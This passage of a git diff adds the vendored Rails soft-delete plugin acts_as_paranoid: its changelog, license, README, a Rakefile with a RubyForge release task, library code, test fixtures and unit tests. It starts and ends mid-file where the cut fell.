||||
new.reload
|
||||
assert_equal 4, new.pos
|
||||
|
||||
new.insert_at(2)
|
||||
assert_equal 2, new.pos
|
||||
|
||||
new4.reload
|
||||
assert_equal 4, new4.pos
|
||||
|
||||
new5 = ListMixinSub1.create("parent_id" => 20)
|
||||
assert_equal 5, new5.pos
|
||||
|
||||
new5.insert_at(1)
|
||||
assert_equal 1, new5.pos
|
||||
|
||||
new4.reload
|
||||
assert_equal 5, new4.pos
|
||||
end
|
||||
|
||||
def test_delete_middle
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).destroy
|
||||
|
||||
assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(1).pos
|
||||
assert_equal 2, ListMixin.find(3).pos
|
||||
assert_equal 3, ListMixin.find(4).pos
|
||||
|
||||
ListMixin.find(1).destroy
|
||||
|
||||
assert_equal [3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(3).pos
|
||||
assert_equal 2, ListMixin.find(4).pos
|
||||
end
|
||||
|
||||
end
|
||||
74
vendor/plugins/acts_as_paranoid/CHANGELOG
vendored
Normal file
74
vendor/plugins/acts_as_paranoid/CHANGELOG
vendored
Normal file
@@ -0,0 +1,74 @@
|
||||
* (4 Oct 2007)
|
||||
|
||||
Update for Edge rails: remove support for legacy #count args
|
||||
|
||||
* (2 Feb 2007)
|
||||
|
||||
Add support for custom primary keys [Jeff Dean]
|
||||
|
||||
* (2 July 2006)
|
||||
|
||||
Add paranoid delete_all implementation [Marshall Roch]
|
||||
|
||||
* (23 May 2006)
|
||||
|
||||
Allow setting of future dates for content expiration.
|
||||
|
||||
* (15 May 2006)
|
||||
|
||||
Added support for dynamic finders
|
||||
|
||||
* (28 Mar 2006)
|
||||
|
||||
Updated for Rails 1.1. I love removing code.
|
||||
|
||||
Refactored #find method
|
||||
Nested Scopes
|
||||
|
||||
*0.3.1* (20 Dec 2005)
|
||||
|
||||
* took out deleted association code for 'chainsaw butchery of base classes' [sorry Erik Terpstra]
|
||||
* verified tests pass on Rails 1.0
|
||||
|
||||
*0.3* (27 Nov 2005)
|
||||
|
||||
* Deleted models will find deleted associations by default now [Erik Terpstra]
|
||||
* Added :group as valid option for find [Michael Dabney]
|
||||
* Changed the module namespace to Caboose::Acts::Paranoid
|
||||
|
||||
*0.2.0* (6 Nov 2005)
|
||||
|
||||
* Upgrade to Rails 1.0 RC4. ActiveRecord::Base#constrain has been replaced with scope_with.
|
||||
|
||||
*0.1.7* (22 Oct 2005)
|
||||
|
||||
* Added :with_deleted as a valid option of ActiveRecord::Base#find
|
||||
|
||||
*0.1.6* (25 Sep 2005)
|
||||
|
||||
* Fixed bug where nested constrains would get clobbered after multiple queries
|
||||
|
||||
*0.1.5* (22 Sep 2005)
|
||||
|
||||
* Fixed bug where acts_as_paranoid would clobber other constrains
|
||||
* Simplified acts_as_paranoid mixin including.
|
||||
|
||||
*0.1.4* (18 Sep 2005)
|
||||
|
||||
* First RubyForge release
|
||||
|
||||
*0.1.3* (18 Sep 2005)
|
||||
|
||||
* ignore multiple calls to acts_as_paranoid on the same model
|
||||
|
||||
*0.1.2* (18 Sep 2005)
|
||||
|
||||
* fixed a bug that kept you from selecting the first deleted record
|
||||
|
||||
*0.1.1* (18 Sep 2005)
|
||||
|
||||
* Fixed bug that kept you from selecting deleted records by ID
|
||||
|
||||
*0.1* (17 Sep 2005)
|
||||
|
||||
* Initial gem
|
||||
20
vendor/plugins/acts_as_paranoid/MIT-LICENSE
vendored
Normal file
20
vendor/plugins/acts_as_paranoid/MIT-LICENSE
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
Copyright (c) 2005 Rick Olson
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
26
vendor/plugins/acts_as_paranoid/README
vendored
Normal file
26
vendor/plugins/acts_as_paranoid/README
vendored
Normal file
@@ -0,0 +1,26 @@
|
||||
= acts_as_paranoid
|
||||
|
||||
Overrides some basic methods for the current model so that calling #destroy sets a 'deleted_at' field to the
|
||||
current timestamp. ActiveRecord is required.
|
||||
|
||||
== Resources
|
||||
|
||||
Install
|
||||
|
||||
* gem install acts_as_paranoid
|
||||
|
||||
Rubyforge project
|
||||
|
||||
* http://rubyforge.org/projects/ar-paranoid
|
||||
|
||||
RDocs
|
||||
|
||||
* http://ar-paranoid.rubyforge.org
|
||||
|
||||
Subversion
|
||||
|
||||
* http://techno-weenie.net/svn/projects/acts_as_paranoid
|
||||
|
||||
Collaboa
|
||||
|
||||
* http://collaboa.techno-weenie.net/repository/browse/acts_as_paranoid
|
||||
41
vendor/plugins/acts_as_paranoid/RUNNING_UNIT_TESTS
vendored
Normal file
41
vendor/plugins/acts_as_paranoid/RUNNING_UNIT_TESTS
vendored
Normal file
@@ -0,0 +1,41 @@
|
||||
== Creating the test database
|
||||
|
||||
The default name for the test databases is "activerecord_paranoid". If you
|
||||
want to use another database name then be sure to update the connection
|
||||
adapter setups you want to test with in test/connections/<your database>/connection.rb.
|
||||
When you have the database online, you can import the fixture tables with
|
||||
the test/fixtures/db_definitions/*.sql files.
|
||||
|
||||
Make sure that you create database objects with the same user that you specified in i
|
||||
connection.rb otherwise (on Postgres, at least) tests for default values will fail.
|
||||
|
||||
== Running with Rake
|
||||
|
||||
The easiest way to run the unit tests is through Rake. The default task runs
|
||||
the entire test suite for all the adapters. You can also run the suite on just
|
||||
one adapter by using the tasks test_mysql_ruby, test_ruby_mysql, test_sqlite,
|
||||
or test_postresql. For more information, checkout the full array of rake tasks with "rake -T"
|
||||
|
||||
Rake can be found at http://rake.rubyforge.org
|
||||
|
||||
== Running by hand
|
||||
|
||||
Unit tests are located in test directory. If you only want to run a single test suite,
|
||||
or don't want to bother with Rake, you can do so with something like:
|
||||
|
||||
cd test; ruby -I "connections/native_mysql" base_test.rb
|
||||
|
||||
That'll run the base suite using the MySQL-Ruby adapter. Change the adapter
|
||||
and test suite name as needed.
|
||||
|
||||
== Faster tests
|
||||
|
||||
If you are using a database that supports transactions, you can set the
|
||||
"AR_TX_FIXTURES" environment variable to "yes" to use transactional fixtures.
|
||||
This gives a very large speed boost. With rake:
|
||||
|
||||
rake AR_TX_FIXTURES=yes
|
||||
|
||||
Or, by hand:
|
||||
|
||||
AR_TX_FIXTURES=yes ruby -I connections/native_sqlite3 base_test.rb
|
||||
180
vendor/plugins/acts_as_paranoid/Rakefile
vendored
Normal file
180
vendor/plugins/acts_as_paranoid/Rakefile
vendored
Normal file
@@ -0,0 +1,180 @@
|
||||
require 'rubygems'
|
||||
|
||||
Gem::manage_gems
|
||||
|
||||
require 'rake/rdoctask'
|
||||
require 'rake/packagetask'
|
||||
require 'rake/gempackagetask'
|
||||
require 'rake/testtask'
|
||||
require 'rake/contrib/rubyforgepublisher'
|
||||
|
||||
PKG_NAME = 'acts_as_paranoid'
|
||||
PKG_VERSION = '0.3.1'
|
||||
PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
|
||||
PROD_HOST = "technoweenie@bidwell.textdrive.com"
|
||||
RUBY_FORGE_PROJECT = 'ar-paranoid'
|
||||
RUBY_FORGE_USER = 'technoweenie'
|
||||
|
||||
desc 'Default: run unit tests.'
|
||||
task :default => :test
|
||||
|
||||
desc 'Test the calculations plugin.'
|
||||
Rake::TestTask.new(:test) do |t|
|
||||
t.libs << 'lib'
|
||||
t.pattern = 'test/**/*_test.rb'
|
||||
t.verbose = true
|
||||
end
|
||||
|
||||
desc 'Generate documentation for the acts_as_paranoid plugin.'
|
||||
Rake::RDocTask.new do |rdoc|
|
||||
rdoc.rdoc_dir = 'html'
|
||||
rdoc.title = "#{PKG_NAME} -- protect your ActiveRecord objects from accidental deletion"
|
||||
rdoc.options << '--line-numbers --inline-source --accessor cattr_accessor=object'
|
||||
rdoc.template = "#{ENV['template']}.rb" if ENV['template']
|
||||
rdoc.rdoc_files.include('README', 'CHANGELOG', 'RUNNING_UNIT_TESTS')
|
||||
rdoc.rdoc_files.include('lib/**/*.rb')
|
||||
end
|
||||
|
||||
spec = Gem::Specification.new do |s|
|
||||
s.name = PKG_NAME
|
||||
s.version = PKG_VERSION
|
||||
s.platform = Gem::Platform::RUBY
|
||||
s.summary = "acts_as_paranoid keeps models from actually being deleted by setting a deleted_at field."
|
||||
s.files = FileList["{lib,test}/**/*"].to_a + %w(README MIT-LICENSE CHANGELOG RUNNING_UNIT_TESTS)
|
||||
s.files.delete "acts_as_paranoid_plugin.sqlite.db"
|
||||
s.files.delete "acts_as_paranoid_plugin.sqlite3.db"
|
||||
s.require_path = 'lib'
|
||||
s.autorequire = 'acts_as_paranoid'
|
||||
s.has_rdoc = true
|
||||
s.test_files = Dir['test/**/*_test.rb']
|
||||
s.author = "Rick Olson"
|
||||
s.email = "technoweenie@gmail.com"
|
||||
s.homepage = "http://techno-weenie.net"
|
||||
end
|
||||
|
||||
Rake::GemPackageTask.new(spec) do |pkg|
|
||||
pkg.need_tar = true
|
||||
end
|
||||
|
||||
desc "Publish the API documentation"
|
||||
task :pdoc => [:rdoc] do
|
||||
Rake::RubyForgePublisher.new(RUBY_FORGE_PROJECT, RUBY_FORGE_USER).upload
|
||||
end
|
||||
|
||||
desc 'Publish the gem and API docs'
|
||||
task :publish => [:pdoc, :rubyforge_upload]
|
||||
|
||||
desc "Publish the release files to RubyForge."
|
||||
task :rubyforge_upload => :package do
|
||||
files = %w(gem tgz).map { |ext| "pkg/#{PKG_FILE_NAME}.#{ext}" }
|
||||
|
||||
if RUBY_FORGE_PROJECT then
|
||||
require 'net/http'
|
||||
require 'open-uri'
|
||||
|
||||
project_uri = "http://rubyforge.org/projects/#{RUBY_FORGE_PROJECT}/"
|
||||
project_data = open(project_uri) { |data| data.read }
|
||||
group_id = project_data[/[?&]group_id=(\d+)/, 1]
|
||||
raise "Couldn't get group id" unless group_id
|
||||
|
||||
# This echos password to shell which is a bit sucky
|
||||
if ENV["RUBY_FORGE_PASSWORD"]
|
||||
password = ENV["RUBY_FORGE_PASSWORD"]
|
||||
else
|
||||
print "#{RUBY_FORGE_USER}@rubyforge.org's password: "
|
||||
password = STDIN.gets.chomp
|
||||
end
|
||||
|
||||
login_response = Net::HTTP.start("rubyforge.org", 80) do |http|
|
||||
data = [
|
||||
"login=1",
|
||||
"form_loginname=#{RUBY_FORGE_USER}",
|
||||
"form_pw=#{password}"
|
||||
].join("&")
|
||||
http.post("/account/login.php", data)
|
||||
end
|
||||
|
||||
cookie = login_response["set-cookie"]
|
||||
raise "Login failed" unless cookie
|
||||
headers = { "Cookie" => cookie }
|
||||
|
||||
release_uri = "http://rubyforge.org/frs/admin/?group_id=#{group_id}"
|
||||
release_data = open(release_uri, headers) { |data| data.read }
|
||||
package_id = release_data[/[?&]package_id=(\d+)/, 1]
|
||||
raise "Couldn't get package id" unless package_id
|
||||
|
||||
first_file = true
|
||||
release_id = ""
|
||||
|
||||
files.each do |filename|
|
||||
basename = File.basename(filename)
|
||||
file_ext = File.extname(filename)
|
||||
file_data = File.open(filename, "rb") { |file| file.read }
|
||||
|
||||
puts "Releasing #{basename}..."
|
||||
|
||||
release_response = Net::HTTP.start("rubyforge.org", 80) do |http|
|
||||
release_date = Time.now.strftime("%Y-%m-%d %H:%M")
|
||||
type_map = {
|
||||
".zip" => "3000",
|
||||
".tgz" => "3110",
|
||||
".gz" => "3110",
|
||||
".gem" => "1400"
|
||||
}; type_map.default = "9999"
|
||||
type = type_map[file_ext]
|
||||
boundary = "rubyqMY6QN9bp6e4kS21H4y0zxcvoor"
|
||||
|
||||
query_hash = if first_file then
|
||||
{
|
||||
"group_id" => group_id,
|
||||
"package_id" => package_id,
|
||||
"release_name" => PKG_FILE_NAME,
|
||||
"release_date" => release_date,
|
||||
"type_id" => type,
|
||||
"processor_id" => "8000", # Any
|
||||
"release_notes" => "",
|
||||
"release_changes" => "",
|
||||
"preformatted" => "1",
|
||||
"submit" => "1"
|
||||
}
|
||||
else
|
||||
{
|
||||
"group_id" => group_id,
|
||||
"release_id" => release_id,
|
||||
"package_id" => package_id,
|
||||
"step2" => "1",
|
||||
"type_id" => type,
|
||||
"processor_id" => "8000", # Any
|
||||
"submit" => "Add This File"
|
||||
}
|
||||
end
|
||||
|
||||
query = "?" + query_hash.map do |(name, value)|
|
||||
[name, URI.encode(value)].join("=")
|
||||
end.join("&")
|
||||
|
||||
data = [
|
||||
"--" + boundary,
|
||||
"Content-Disposition: form-data; name=\"userfile\"; filename=\"#{basename}\"",
|
||||
"Content-Type: application/octet-stream",
|
||||
"Content-Transfer-Encoding: binary",
|
||||
"", file_data, ""
|
||||
].join("\x0D\x0A")
|
||||
|
||||
release_headers = headers.merge(
|
||||
"Content-Type" => "multipart/form-data; boundary=#{boundary}"
|
||||
)
|
||||
|
||||
target = first_file ? "/frs/admin/qrs.php" : "/frs/admin/editrelease.php"
|
||||
http.post(target + query, data, release_headers)
|
||||
end
|
||||
|
||||
if first_file then
|
||||
release_id = release_response.body[/release_id=(\d+)/, 1]
|
||||
raise("Couldn't get release id") unless release_id
|
||||
end
|
||||
|
||||
first_file = false
|
||||
end
|
||||
end
|
||||
end
|
||||
16
vendor/plugins/acts_as_paranoid/init.rb
vendored
Normal file
16
vendor/plugins/acts_as_paranoid/init.rb
vendored
Normal file
@@ -0,0 +1,16 @@
|
||||
class << ActiveRecord::Base
|
||||
def belongs_to_with_deleted(association_id, options = {})
|
||||
with_deleted = options.delete :with_deleted
|
||||
returning belongs_to_without_deleted(association_id, options) do
|
||||
if with_deleted
|
||||
reflection = reflect_on_association(association_id)
|
||||
association_accessor_methods(reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
|
||||
association_constructor_method(:build, reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
|
||||
association_constructor_method(:create, reflection, Caboose::Acts::BelongsToWithDeletedAssociation)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
alias_method_chain :belongs_to, :deleted
|
||||
end
|
||||
ActiveRecord::Base.send :include, Caboose::Acts::Paranoid
|
||||
14
vendor/plugins/acts_as_paranoid/lib/caboose/acts/belongs_to_with_deleted_association.rb
vendored
Normal file
14
vendor/plugins/acts_as_paranoid/lib/caboose/acts/belongs_to_with_deleted_association.rb
vendored
Normal file
@@ -0,0 +1,14 @@
|
||||
module Caboose # :nodoc:
|
||||
module Acts # :nodoc:
|
||||
class BelongsToWithDeletedAssociation < ActiveRecord::Associations::BelongsToAssociation
|
||||
private
|
||||
def find_target
|
||||
@reflection.klass.find_with_deleted(
|
||||
@owner[@reflection.primary_key_name],
|
||||
:conditions => conditions,
|
||||
:include => @reflection.options[:include]
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
148
vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb
vendored
Normal file
148
vendor/plugins/acts_as_paranoid/lib/caboose/acts/paranoid.rb
vendored
Normal file
@@ -0,0 +1,148 @@
|
||||
module Caboose #:nodoc:
|
||||
module Acts #:nodoc:
|
||||
# Overrides some basic methods for the current model so that calling #destroy sets a 'deleted_at' field to the current timestamp.
|
||||
# This assumes the table has a deleted_at date/time field. Most normal model operations will work, but there will be some oddities.
|
||||
#
|
||||
# class Widget < ActiveRecord::Base
|
||||
# acts_as_paranoid
|
||||
# end
|
||||
#
|
||||
# Widget.find(:all)
|
||||
# # SELECT * FROM widgets WHERE widgets.deleted_at IS NULL
|
||||
#
|
||||
# Widget.find(:first, :conditions => ['title = ?', 'test'], :order => 'title')
|
||||
# # SELECT * FROM widgets WHERE widgets.deleted_at IS NULL AND title = 'test' ORDER BY title LIMIT 1
|
||||
#
|
||||
# Widget.find_with_deleted(:all)
|
||||
# # SELECT * FROM widgets
|
||||
#
|
||||
# Widget.find(:all, :with_deleted => true)
|
||||
# # SELECT * FROM widgets
|
||||
#
|
||||
# Widget.find_with_deleted(1).deleted?
|
||||
# # Returns true if the record was previously destroyed, false if not
|
||||
#
|
||||
# Widget.count
|
||||
# # SELECT COUNT(*) FROM widgets WHERE widgets.deleted_at IS NULL
|
||||
#
|
||||
# Widget.count ['title = ?', 'test']
|
||||
# # SELECT COUNT(*) FROM widgets WHERE widgets.deleted_at IS NULL AND title = 'test'
|
||||
#
|
||||
# Widget.count_with_deleted
|
||||
# # SELECT COUNT(*) FROM widgets
|
||||
#
|
||||
# Widget.delete_all
|
||||
# # UPDATE widgets SET deleted_at = '2005-09-17 17:46:36'
|
||||
#
|
||||
# Widget.delete_all!
|
||||
# # DELETE FROM widgets
|
||||
#
|
||||
# @widget.destroy
|
||||
# # UPDATE widgets SET deleted_at = '2005-09-17 17:46:36' WHERE id = 1
|
||||
#
|
||||
# @widget.destroy!
|
||||
# # DELETE FROM widgets WHERE id = 1
|
||||
#
|
||||
module Paranoid
|
||||
def self.included(base) # :nodoc:
|
||||
base.extend ClassMethods
|
||||
end
|
||||
|
||||
module ClassMethods
|
||||
def acts_as_paranoid(options = {})
|
||||
unless paranoid? # don't let AR call this twice
|
||||
cattr_accessor :deleted_attribute
|
||||
self.deleted_attribute = options[:with] || :deleted_at
|
||||
alias_method :destroy_without_callbacks!, :destroy_without_callbacks
|
||||
class << self
|
||||
alias_method :find_every_with_deleted, :find_every
|
||||
alias_method :calculate_with_deleted, :calculate
|
||||
alias_method :delete_all!, :delete_all
|
||||
end
|
||||
end
|
||||
include InstanceMethods
|
||||
end
|
||||
|
||||
def paranoid?
|
||||
self.included_modules.include?(InstanceMethods)
|
||||
end
|
||||
end
|
||||
|
||||
module InstanceMethods #:nodoc:
|
||||
def self.included(base) # :nodoc:
|
||||
base.extend ClassMethods
|
||||
end
|
||||
|
||||
module ClassMethods
|
||||
def find_with_deleted(*args)
|
||||
options = args.extract_options!
|
||||
validate_find_options(options)
|
||||
set_readonly_option!(options)
|
||||
options[:with_deleted] = true # yuck!
|
||||
|
||||
case args.first
|
||||
when :first then find_initial(options)
|
||||
when :all then find_every(options)
|
||||
else find_from_ids(args, options)
|
||||
end
|
||||
end
|
||||
|
||||
def count_with_deleted(*args)
|
||||
calculate_with_deleted(:count, *construct_count_options_from_args(*args))
|
||||
end
|
||||
|
||||
def count(*args)
|
||||
with_deleted_scope { count_with_deleted(*args) }
|
||||
end
|
||||
|
||||
def calculate(*args)
|
||||
with_deleted_scope { calculate_with_deleted(*args) }
|
||||
end
|
||||
|
||||
def delete_all(conditions = nil)
|
||||
self.update_all ["#{self.deleted_attribute} = ?", current_time], conditions
|
||||
end
|
||||
|
||||
protected
|
||||
def current_time
|
||||
default_timezone == :utc ? Time.now.utc : Time.now
|
||||
end
|
||||
|
||||
def with_deleted_scope(&block)
|
||||
with_scope({:find => { :conditions => ["#{table_name}.#{deleted_attribute} IS NULL OR #{table_name}.#{deleted_attribute} > ?", current_time] } }, :merge, &block)
|
||||
end
|
||||
|
||||
private
|
||||
# all find calls lead here
|
||||
def find_every(options)
|
||||
options.delete(:with_deleted) ?
|
||||
find_every_with_deleted(options) :
|
||||
with_deleted_scope { find_every_with_deleted(options) }
|
||||
end
|
||||
end
|
||||
|
||||
def destroy_without_callbacks
|
||||
unless new_record?
|
||||
self.class.update_all self.class.send(:sanitize_sql, ["#{self.class.deleted_attribute} = ?", self.class.send(:current_time)]), ["#{self.class.primary_key} = ?", id]
|
||||
end
|
||||
freeze
|
||||
end
|
||||
|
||||
def destroy_with_callbacks!
|
||||
return false if callback(:before_destroy) == false
|
||||
result = destroy_without_callbacks!
|
||||
callback(:after_destroy)
|
||||
result
|
||||
end
|
||||
|
||||
def destroy!
|
||||
transaction { destroy_with_callbacks! }
|
||||
end
|
||||
|
||||
def deleted?
|
||||
!!read_attribute(:deleted_at)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
18
vendor/plugins/acts_as_paranoid/test/database.yml
vendored
Normal file
18
vendor/plugins/acts_as_paranoid/test/database.yml
vendored
Normal file
@@ -0,0 +1,18 @@
|
||||
sqlite:
|
||||
:adapter: sqlite
|
||||
:dbfile: acts_as_paranoid_plugin.sqlite.db
|
||||
sqlite3:
|
||||
:adapter: sqlite3
|
||||
:dbfile: acts_as_paranoid_plugin.sqlite3.db
|
||||
postgresql:
|
||||
:adapter: postgresql
|
||||
:username: postgres
|
||||
:password: postgres
|
||||
:database: acts_as_paranoid_plugin_test
|
||||
:min_messages: ERROR
|
||||
mysql:
|
||||
:adapter: mysql
|
||||
:host: localhost
|
||||
:username: rails
|
||||
:password:
|
||||
:database: acts_as_paranoid_plugin_test
|
||||
19
vendor/plugins/acts_as_paranoid/test/fixtures/categories.yml
vendored
Normal file
19
vendor/plugins/acts_as_paranoid/test/fixtures/categories.yml
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
category_1:
|
||||
id: 1
|
||||
widget_id: 1
|
||||
title: 'category 1'
|
||||
category_2:
|
||||
id: 2
|
||||
widget_id: 1
|
||||
title: 'category 2'
|
||||
deleted_at: '2005-01-01 00:00:00'
|
||||
category_3:
|
||||
id: 3
|
||||
widget_id: 2
|
||||
title: 'category 3'
|
||||
deleted_at: '2005-01-01 00:00:00'
|
||||
category_4:
|
||||
id: 4
|
||||
widget_id: 2
|
||||
title: 'category 4'
|
||||
deleted_at: '2005-01-01 00:00:00'
|
||||
12
vendor/plugins/acts_as_paranoid/test/fixtures/categories_widgets.yml
vendored
Normal file
12
vendor/plugins/acts_as_paranoid/test/fixtures/categories_widgets.yml
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
cw_1:
|
||||
category_id: 1
|
||||
widget_id: 1
|
||||
cw_2:
|
||||
category_id: 2
|
||||
widget_id: 1
|
||||
cw_3:
|
||||
category_id: 3
|
||||
widget_id: 2
|
||||
cw_4:
|
||||
category_id: 4
|
||||
widget_id: 2
|
||||
8
vendor/plugins/acts_as_paranoid/test/fixtures/widgets.yml
vendored
Normal file
8
vendor/plugins/acts_as_paranoid/test/fixtures/widgets.yml
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
widget_1:
|
||||
id: 1
|
||||
title: 'widget 1'
|
||||
widget_2:
|
||||
id: 2
|
||||
title: 'deleted widget 2'
|
||||
deleted_at: '2005-01-01 00:00:00'
|
||||
category_id: 3
|
||||
217
vendor/plugins/acts_as_paranoid/test/paranoid_test.rb
vendored
Normal file
217
vendor/plugins/acts_as_paranoid/test/paranoid_test.rb
vendored
Normal file
@@ -0,0 +1,217 @@
|
||||
require File.join(File.dirname(__FILE__), 'test_helper')
|
||||
|
||||
class Widget < ActiveRecord::Base
|
||||
acts_as_paranoid
|
||||
has_many :categories, :dependent => :destroy
|
||||
has_and_belongs_to_many :habtm_categories, :class_name => 'Category'
|
||||
has_one :category
|
||||
belongs_to :parent_category, :class_name => 'Category'
|
||||
end
|
||||
|
||||
class Category < ActiveRecord::Base
|
||||
belongs_to :widget
|
||||
belongs_to :any_widget, :class_name => 'Widget', :foreign_key => 'widget_id', :with_deleted => true
|
||||
acts_as_paranoid
|
||||
|
||||
def self.search(name, options = {})
|
||||
find :all, options.merge(:conditions => ['LOWER(title) LIKE ?', "%#{name.to_s.downcase}%"])
|
||||
end
|
||||
|
||||
def self.search_with_deleted(name, options = {})
|
||||
find_with_deleted :all, options.merge(:conditions => ['LOWER(title) LIKE ?', "%#{name.to_s.downcase}%"])
|
||||
end
|
||||
end
|
||||
|
||||
class NonParanoidAndroid < ActiveRecord::Base
|
||||
end
|
||||
|
||||
class ParanoidTest < Test::Unit::TestCase
|
||||
fixtures :widgets, :categories, :categories_widgets
|
||||
|
||||
def test_should_count_with_deleted
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 2, Widget.count_with_deleted
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_set_deleted_at
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 1, Category.count
|
||||
widgets(:widget_1).destroy
|
||||
assert_equal 0, Widget.count
|
||||
assert_equal 0, Category.count
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
assert_equal 4, Category.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_destroy
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 1, Category.count
|
||||
widgets(:widget_1).destroy!
|
||||
assert_equal 0, Widget.count
|
||||
assert_equal 0, Category.count
|
||||
assert_equal 1, Widget.calculate_with_deleted(:count, :all)
|
||||
# Category doesn't get destroyed because the dependent before_destroy callback uses #destroy
|
||||
assert_equal 4, Category.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_delete_all
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
assert_equal 1, Category.count
|
||||
Widget.delete_all
|
||||
assert_equal 0, Widget.count
|
||||
# delete_all doesn't call #destroy, so the dependent callback never fires
|
||||
assert_equal 1, Category.count
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_delete_all_with_conditions
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
Widget.delete_all("id < 3")
|
||||
assert_equal 0, Widget.count
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_delete_all2
|
||||
assert_equal 1, Category.count
|
||||
assert_equal 4, Category.calculate_with_deleted(:count, :all)
|
||||
Category.delete_all!
|
||||
assert_equal 0, Category.count
|
||||
assert_equal 0, Category.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_delete_all_with_conditions2
|
||||
assert_equal 1, Category.count
|
||||
assert_equal 4, Category.calculate_with_deleted(:count, :all)
|
||||
Category.delete_all!("id < 3")
|
||||
assert_equal 0, Category.count
|
||||
assert_equal 2, Category.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_not_count_deleted
|
||||
assert_equal 1, Widget.count
|
||||
assert_equal 1, Widget.count(:all, :conditions => ['title=?', 'widget 1'])
|
||||
assert_equal 2, Widget.calculate_with_deleted(:count, :all)
|
||||
end
|
||||
|
||||
def test_should_not_find_deleted
|
||||
assert_equal [widgets(:widget_1)], Widget.find(:all)
|
||||
assert_equal [1, 2], Widget.find_with_deleted(:all, :order => 'id').collect { |w| w.id }
|
||||
end
|
||||
|
||||
def test_should_not_find_deleted_has_many_associations
|
||||
assert_equal 1, widgets(:widget_1).categories.size
|
||||
assert_equal [categories(:category_1)], widgets(:widget_1).categories
|
||||
end
|
||||
|
||||
def test_should_not_find_deleted_habtm_associations
|
||||
assert_equal 1, widgets(:widget_1).habtm_categories.size
|
||||
assert_equal [categories(:category_1)], widgets(:widget_1).habtm_categories
|
||||
end
|
||||
|
||||
def test_should_not_find_deleted_belongs_to_associations
|
||||
assert_nil Category.find_with_deleted(3).widget
|
||||
end
|
||||
|
||||
def test_should_find_belongs_to_assocation_with_deleted
|
||||
assert_equal Widget.find_with_deleted(2), Category.find_with_deleted(3).any_widget
|
||||
end
|
||||
|
||||
def test_should_find_first_with_deleted
|
||||
assert_equal widgets(:widget_1), Widget.find(:first)
|
||||
assert_equal 2, Widget.find_with_deleted(:first, :order => 'id desc').id
|
||||
end
|
||||
|
||||
def test_should_find_single_id
|
||||
assert Widget.find(1)
|
||||
assert Widget.find_with_deleted(2)
|
||||
assert_raises(ActiveRecord::RecordNotFound) { Widget.find(2) }
|
||||
end
|
||||
|
||||
def test_should_find_multiple_ids
|
||||
assert_equal [1,2], Widget.find_with_deleted(1,2).sort_by { |w| w.id }.collect { |w| w.id }
|
||||
assert_equal [1,2], Widget.find_with_deleted([1,2]).sort_by { |w| w.id }.collect { |w| w.id }
|
||||
assert_raises(ActiveRecord::RecordNotFound) { Widget.find(1,2) }
|
||||
end
|
||||
|
||||
def test_should_ignore_multiple_includes
|
||||
Widget.class_eval { acts_as_paranoid }
|
||||
assert Widget.find(1)
|
||||
end
|
||||
|
||||
def test_should_not_override_scopes_when_counting
|
||||
assert_equal 1, Widget.send(:with_scope, :find => { :conditions => "title = 'widget 1'" }) { Widget.count }
|
||||
assert_equal 0, Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.count }
|
||||
assert_equal 1, Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.calculate_with_deleted(:count, :all) }
|
||||
end
|
||||
|
||||
def test_should_not_override_scopes_when_finding
|
